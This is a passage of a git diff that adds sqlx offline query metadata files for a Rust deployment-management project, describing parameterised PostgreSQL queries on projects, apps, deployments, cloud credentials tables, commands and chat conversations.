$23, NOW(), NOW())\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": "vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Jsonb", + "Jsonb", + "Jsonb", + "Varchar", + "Bool", + "Jsonb", + "Varchar", + "Text", + "Text", + "Jsonb", + "Jsonb", + "Jsonb", + "Jsonb", + "Jsonb", + "Varchar", + "Bool", + "Int4", + "Varchar", + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "09211b75cd521772b4a9ca806efa60d355d2479811e2bb55d4f6b8163c7ad724" +} diff --git a/stacker/stacker/.sqlx/query-0bb6c35cba6f3c5573cf45c42b93709286b2a50446caa2a609aaf77af12b30bb.json b/stacker/stacker/.sqlx/query-0bb6c35cba6f3c5573cf45c42b93709286b2a50446caa2a609aaf77af12b30bb.json new file mode 100644 index 0000000..5f0a36e --- /dev/null +++ b/stacker/stacker/.sqlx/query-0bb6c35cba6f3c5573cf45c42b93709286b2a50446caa2a609aaf77af12b30bb.json @@ -0,0 +1,17 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO stack_template_review (template_id, reviewer_user_id, decision, review_reason, reviewed_at) VALUES ($1::uuid, $2, $3, $4, now())", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Varchar", + "Text" + ] + }, + "nullable": [] + }, + "hash": "0bb6c35cba6f3c5573cf45c42b93709286b2a50446caa2a609aaf77af12b30bb" +} diff --git a/stacker/stacker/.sqlx/query-0dab58aa1022e2c1f4320f232195f54d89279057657c92305f606522fa142cf7.json b/stacker/stacker/.sqlx/query-0dab58aa1022e2c1f4320f232195f54d89279057657c92305f606522fa142cf7.json new file mode 100644 index 0000000..3e6250a --- /dev/null +++ b/stacker/stacker/.sqlx/query-0dab58aa1022e2c1f4320f232195f54d89279057657c92305f606522fa142cf7.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE stack_template_version SET is_latest = false WHERE template_id = $1 AND is_latest = true", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "0dab58aa1022e2c1f4320f232195f54d89279057657c92305f606522fa142cf7" +} diff --git a/stacker/stacker/.sqlx/query-0f9023a3cea267596e9f99b3887012242345a8b4e4f9d838dc6d44cc34a89433.json b/stacker/stacker/.sqlx/query-0f9023a3cea267596e9f99b3887012242345a8b4e4f9d838dc6d44cc34a89433.json new file mode 100644 index 0000000..a4c80ab --- /dev/null +++ b/stacker/stacker/.sqlx/query-0f9023a3cea267596e9f99b3887012242345a8b4e4f9d838dc6d44cc34a89433.json @@ -0,0 +1,46 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM agreement\n WHERE id=$1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "text", + "type_info": "Text" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "0f9023a3cea267596e9f99b3887012242345a8b4e4f9d838dc6d44cc34a89433" +} diff --git a/stacker/stacker/.sqlx/query-14fa465164d8fa6de1ab59209aff3db60e67415ccc5254af301adba4438971f5.json b/stacker/stacker/.sqlx/query-14fa465164d8fa6de1ab59209aff3db60e67415ccc5254af301adba4438971f5.json new file mode 100644 index 0000000..da1dab4 --- /dev/null +++ b/stacker/stacker/.sqlx/query-14fa465164d8fa6de1ab59209aff3db60e67415ccc5254af301adba4438971f5.json @@ -0,0 +1,83 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,\n last_seen_at, created_at, updated_at\n FROM deployment\n WHERE user_id = $1 AND deleted = false\n ORDER BY created_at DESC\n LIMIT $2\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 5, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "runtime", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text", + "Int8" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + false, + false, + false, + true, + false, + false + ] + }, + "hash": "14fa465164d8fa6de1ab59209aff3db60e67415ccc5254af301adba4438971f5" +} diff --git a/stacker/stacker/.sqlx/query-17f59e9f273d48aaf85b09c227f298f6d6f6f231554d80ed621076157af7f80a.json b/stacker/stacker/.sqlx/query-17f59e9f273d48aaf85b09c227f298f6d6f6f231554d80ed621076157af7f80a.json new file mode 100644 index 0000000..c0f6288 --- /dev/null +++ b/stacker/stacker/.sqlx/query-17f59e9f273d48aaf85b09c227f298f6d6f6f231554d80ed621076157af7f80a.json @@ -0,0 +1,25 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO agreement (name, text, created_at, updated_at)\n VALUES ($1, $2, $3, $4)\n RETURNING id;\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Text", + "Timestamptz", + "Timestamptz" + ] + }, + "nullable": [ + false + ] + }, + "hash": "17f59e9f273d48aaf85b09c227f298f6d6f6f231554d80ed621076157af7f80a" +} diff --git a/stacker/stacker/.sqlx/query-1ee7eb9b87cfcc6ba3d2bbc6351277ac4a7f94d9f0f448b5549e30fc6cc66e19.json b/stacker/stacker/.sqlx/query-1ee7eb9b87cfcc6ba3d2bbc6351277ac4a7f94d9f0f448b5549e30fc6cc66e19.json new file mode 100644 index 0000000..be92bbe --- /dev/null +++ b/stacker/stacker/.sqlx/query-1ee7eb9b87cfcc6ba3d2bbc6351277ac4a7f94d9f0f448b5549e30fc6cc66e19.json @@ -0,0 +1,197 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT * FROM project_app \n WHERE project_id = $1 AND deployment_id = $2\n ORDER BY deploy_order ASC NULLS LAST, id ASC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": "vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "1ee7eb9b87cfcc6ba3d2bbc6351277ac4a7f94d9f0f448b5549e30fc6cc66e19" +} diff --git a/stacker/stacker/.sqlx/query-2c181e4aba4f79192dc57a072431e230d6b11d52ab7f6040f612d9f217642b13.json b/stacker/stacker/.sqlx/query-2c181e4aba4f79192dc57a072431e230d6b11d52ab7f6040f612d9f217642b13.json new file mode 100644 index 0000000..fffe848 --- /dev/null +++ b/stacker/stacker/.sqlx/query-2c181e4aba4f79192dc57a072431e230d6b11d52ab7f6040f612d9f217642b13.json @@ -0,0 +1,82 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,\n last_seen_at, created_at, updated_at\n FROM deployment\n WHERE id=$1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 5, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "runtime", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + false, + false, + false, + true, + false, + false + ] + }, + "hash": "2c181e4aba4f79192dc57a072431e230d6b11d52ab7f6040f612d9f217642b13" +} diff --git a/stacker/stacker/.sqlx/query-2c7065ccf4a0a527087754db39a2077a054026cb2bc0c010aba218506e76110f.json b/stacker/stacker/.sqlx/query-2c7065ccf4a0a527087754db39a2077a054026cb2bc0c010aba218506e76110f.json new file mode 100644 index 0000000..4c5595e --- /dev/null +++ b/stacker/stacker/.sqlx/query-2c7065ccf4a0a527087754db39a2077a054026cb2bc0c010aba218506e76110f.json @@ -0,0 +1,76 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM project\n WHERE user_id=$1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "stack_id", + "type_info": "Uuid" + }, + { + "ordinal": 2, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Text" + }, + { + "ordinal": 4, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 5, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 6, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 7, + "name": "request_json", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "source_template_id", + "type_info": "Uuid" + }, + { + "ordinal": 9, + "name": "template_version", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + false, + false, + true, + true + ] + }, + "hash": "2c7065ccf4a0a527087754db39a2077a054026cb2bc0c010aba218506e76110f" +} diff --git a/stacker/stacker/.sqlx/query-309c79e9f4b28e19488e71ca49974e0c9173f355d69459333acf181ff2a82a1c.json b/stacker/stacker/.sqlx/query-309c79e9f4b28e19488e71ca49974e0c9173f355d69459333acf181ff2a82a1c.json new file mode 100644 index 0000000..1e22508 --- /dev/null +++ b/stacker/stacker/.sqlx/query-309c79e9f4b28e19488e71ca49974e0c9173f355d69459333acf181ff2a82a1c.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE agents \n SET last_heartbeat = NOW(), status = $2, updated_at = NOW()\n WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar" + ] + }, + "nullable": [] + }, + "hash": "309c79e9f4b28e19488e71ca49974e0c9173f355d69459333acf181ff2a82a1c" +} diff --git a/stacker/stacker/.sqlx/query-327394e1777395afda4a1f6c1ca07431de81f886f6a8d6e0fbcd7b6633d30b98.json b/stacker/stacker/.sqlx/query-327394e1777395afda4a1f6c1ca07431de81f886f6a8d6e0fbcd7b6633d30b98.json new file mode 100644 index 0000000..4916207 --- /dev/null +++ b/stacker/stacker/.sqlx/query-327394e1777395afda4a1f6c1ca07431de81f886f6a8d6e0fbcd7b6633d30b98.json @@ -0,0 +1,100 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n FROM commands\n WHERE deployment_hash = $1\n ORDER BY created_at DESC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "327394e1777395afda4a1f6c1ca07431de81f886f6a8d6e0fbcd7b6633d30b98" +} diff --git a/stacker/stacker/.sqlx/query-32d118e607db4364979c52831e0c30a215779928a041ef51e93383e93288aac2.json b/stacker/stacker/.sqlx/query-32d118e607db4364979c52831e0c30a215779928a041ef51e93383e93288aac2.json new file mode 100644 index 0000000..217c8d3 --- /dev/null +++ b/stacker/stacker/.sqlx/query-32d118e607db4364979c52831e0c30a215779928a041ef51e93383e93288aac2.json @@ -0,0 +1,76 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT * FROM cloud WHERE id=$1 LIMIT 1 ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "provider", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "cloud_token", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "cloud_key", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "cloud_secret", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "save_token", + "type_info": "Bool" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "name", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + false, + false, + false + ] + }, + "hash": "32d118e607db4364979c52831e0c30a215779928a041ef51e93383e93288aac2" +} diff --git a/stacker/stacker/.sqlx/query-36f6c8ba5c553e6c13d0041482910bc38e48635c4df0c73c211d345a26cccf4e.json b/stacker/stacker/.sqlx/query-36f6c8ba5c553e6c13d0041482910bc38e48635c4df0c73c211d345a26cccf4e.json new file mode 100644 index 0000000..fbcc830 --- /dev/null +++ b/stacker/stacker/.sqlx/query-36f6c8ba5c553e6c13d0041482910bc38e48635c4df0c73c211d345a26cccf4e.json @@ -0,0 +1,46 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM agreement\n WHERE name=$1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "text", + "type_info": "Text" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "36f6c8ba5c553e6c13d0041482910bc38e48635c4df0c73c211d345a26cccf4e" +} diff --git a/stacker/stacker/.sqlx/query-3b6ec5ef58cb3b234d8c8d45641339d172624d59fff7494f1929c8fe37f564a4.json b/stacker/stacker/.sqlx/query-3b6ec5ef58cb3b234d8c8d45641339d172624d59fff7494f1929c8fe37f564a4.json new file mode 100644 index 0000000..bbcd341 --- /dev/null +++ b/stacker/stacker/.sqlx/query-3b6ec5ef58cb3b234d8c8d45641339d172624d59fff7494f1929c8fe37f564a4.json @@ -0,0 +1,34 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n id,\n user_id,\n secret \n FROM client c\n WHERE c.id = $1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "secret", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + true + ] + }, + "hash": "3b6ec5ef58cb3b234d8c8d45641339d172624d59fff7494f1929c8fe37f564a4" +} diff --git a/stacker/stacker/.sqlx/query-3efacedb58ab13dad5eeaa4454a4d82beb1dedc0f62405d008f18045df981277.json b/stacker/stacker/.sqlx/query-3efacedb58ab13dad5eeaa4454a4d82beb1dedc0f62405d008f18045df981277.json new file mode 100644 index 0000000..ec0c073 --- /dev/null +++ b/stacker/stacker/.sqlx/query-3efacedb58ab13dad5eeaa4454a4d82beb1dedc0f62405d008f18045df981277.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT creator_user_id FROM stack_template WHERE id = $1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "creator_user_id", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false + ] + }, + "hash": "3efacedb58ab13dad5eeaa4454a4d82beb1dedc0f62405d008f18045df981277" +} diff --git a/stacker/stacker/.sqlx/query-3fd71974a7948b85a0fa72d2c583e29118c63af715e14d9b0a50ef672b8b4d97.json b/stacker/stacker/.sqlx/query-3fd71974a7948b85a0fa72d2c583e29118c63af715e14d9b0a50ef672b8b4d97.json new file mode 100644 index 0000000..c897c0e --- /dev/null +++ b/stacker/stacker/.sqlx/query-3fd71974a7948b85a0fa72d2c583e29118c63af715e14d9b0a50ef672b8b4d97.json @@ -0,0 +1,77 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM project\n WHERE name=$1 AND user_id=$2\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "stack_id", + "type_info": "Uuid" + }, + { + "ordinal": 2, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Text" + }, + { + "ordinal": 4, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 5, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 6, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 7, + "name": "request_json", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "source_template_id", + "type_info": "Uuid" + }, + { + "ordinal": 9, + "name": "template_version", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Text", + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + false, + false, + true, + true + ] + }, + "hash": "3fd71974a7948b85a0fa72d2c583e29118c63af715e14d9b0a50ef672b8b4d97" +} diff --git a/stacker/stacker/.sqlx/query-4048935127dfdfa4f8d1c7ec9137149b736702a008e920373c139d5cc8f228a5.json b/stacker/stacker/.sqlx/query-4048935127dfdfa4f8d1c7ec9137149b736702a008e920373c139d5cc8f228a5.json new file mode 100644 index 0000000..3cfffed --- /dev/null +++ b/stacker/stacker/.sqlx/query-4048935127dfdfa4f8d1c7ec9137149b736702a008e920373c139d5cc8f228a5.json @@ -0,0 +1,28 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO cloud (\n user_id,\n name,\n provider,\n cloud_token,\n cloud_key,\n cloud_secret,\n save_token,\n created_at,\n updated_at\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7, NOW() at time zone 'utc', NOW() at time zone 'utc')\n RETURNING id;\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Bool" + ] + }, + "nullable": [ + false + ] + }, + "hash": "4048935127dfdfa4f8d1c7ec9137149b736702a008e920373c139d5cc8f228a5" +} diff --git a/stacker/stacker/.sqlx/query-41edb5195e8e68b8c80c8412f5bb93cf4838bd1e7e668dafd0fffbd13c90d5aa.json b/stacker/stacker/.sqlx/query-41edb5195e8e68b8c80c8412f5bb93cf4838bd1e7e668dafd0fffbd13c90d5aa.json new file mode 100644 index 0000000..6af6017 --- /dev/null +++ b/stacker/stacker/.sqlx/query-41edb5195e8e68b8c80c8412f5bb93cf4838bd1e7e668dafd0fffbd13c90d5aa.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n DELETE FROM command_queue\n WHERE command_id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [] + }, + "hash": "41edb5195e8e68b8c80c8412f5bb93cf4838bd1e7e668dafd0fffbd13c90d5aa" +} diff --git a/stacker/stacker/.sqlx/query-4476636012dbc3320496e7d0f1bc7ab98a9e430127baa928fdf87ff8ef85d3c7.json b/stacker/stacker/.sqlx/query-4476636012dbc3320496e7d0f1bc7ab98a9e430127baa928fdf87ff8ef85d3c7.json new file mode 100644 index 0000000..3efaec5 --- /dev/null +++ b/stacker/stacker/.sqlx/query-4476636012dbc3320496e7d0f1bc7ab98a9e430127baa928fdf87ff8ef85d3c7.json @@ -0,0 +1,53 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO chat_conversations (user_id, project_id, messages)\n VALUES ($1, NULL, $2)\n ON CONFLICT (user_id) WHERE project_id IS NULL\n DO UPDATE SET messages = EXCLUDED.messages, updated_at = NOW()\n RETURNING id, user_id, project_id, messages, created_at, updated_at", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "messages", + "type_info": "Jsonb" + }, + { + "ordinal": 4, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 5, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Jsonb" + ] + }, + "nullable": [ + false, + false, + true, + false, + false, + false + ] + }, + "hash": "4476636012dbc3320496e7d0f1bc7ab98a9e430127baa928fdf87ff8ef85d3c7" +} diff --git a/stacker/stacker/.sqlx/query-467365894a7f9a0888584e8879cac289299f4d03539b9c746324cd183e265553.json b/stacker/stacker/.sqlx/query-467365894a7f9a0888584e8879cac289299f4d03539b9c746324cd183e265553.json new file mode 100644 index 0000000..b36598b --- /dev/null +++ b/stacker/stacker/.sqlx/query-467365894a7f9a0888584e8879cac289299f4d03539b9c746324cd183e265553.json @@ -0,0 +1,196 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT * FROM project_app WHERE id = $1 LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": 